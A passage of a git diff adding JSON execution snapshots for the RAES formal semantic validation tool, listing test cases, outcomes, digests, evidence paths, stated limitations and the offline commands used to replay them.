"workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "79c50a957063948d459dcdcf806f57ddea1976b5", + "source_state": { + "base_revision": "79c50a957063948d459dcdcf806f57ddea1976b5", + "checkout_state": "modified", + "implementation_digest": "4ab81643232b50f4a087303ce3b3a55bd90a69b3828b8814e7b9b29af35a0542", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v66.json b/docs/research/formal-semantic-validation/execution-snapshot-v66.json new file mode 100644 index 000000000..f11c681a4 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v66.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1359-execution-v65", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v65.json", + "release_revision": "65.0.0", + "release_sha256": "bb3e6553aede8e950abd8b966b6a40ef1e12ce59d17086348775ffd4681ca3ec" + }, + "captured_at": "2026-09-30T21:48:40.529064+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "supply-chain-execution-v66", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + 